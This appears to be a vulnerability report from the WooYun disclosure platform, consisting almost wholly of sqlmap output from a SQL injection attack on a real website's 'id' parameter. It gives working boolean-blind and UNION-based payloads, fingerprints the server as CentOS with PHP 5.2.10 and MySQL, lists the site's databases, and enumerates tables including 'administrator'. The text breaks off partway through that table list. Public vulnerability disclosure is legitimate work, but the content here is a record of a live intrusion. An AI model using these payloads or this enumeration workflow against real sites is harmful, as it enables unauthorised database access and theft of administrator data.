WooYun.org

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 71 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 8799=8799
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1 UNION ALL SELECT NULL,CONCAT(0x7162787171,0x4a774c5a4b69754c6b55726b66455841584f7a414d6f45746c52596f496879787352416157536d75,0x717a627671)--
---
[23:09:39] [INFO] testing MySQL
[23:09:39] [INFO] confirming MySQL
[23:09:39] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.10
web application technology: PHP 5.2.10, Apache 2.2.3
back-end DBMS: MySQL >= 5.0.0
[23:09:39] [INFO] fetching database names
[23:09:39] [INFO] the SQL query used returns 2 entries
[23:09:39] [INFO] retrieved: information_schema
[23:09:39] [INFO] retrieved: lfyh20120820
available databases [2]:
[*] information_schema
[*] lfyh20120820
atabase: lfyh20120820
[9 tables]
+---------------+
| administrator |
| class         |
| cpclass       |
| datainfo      |
| info          |
| logs          |
| ly_info1      |
| pic           |
| web_config    |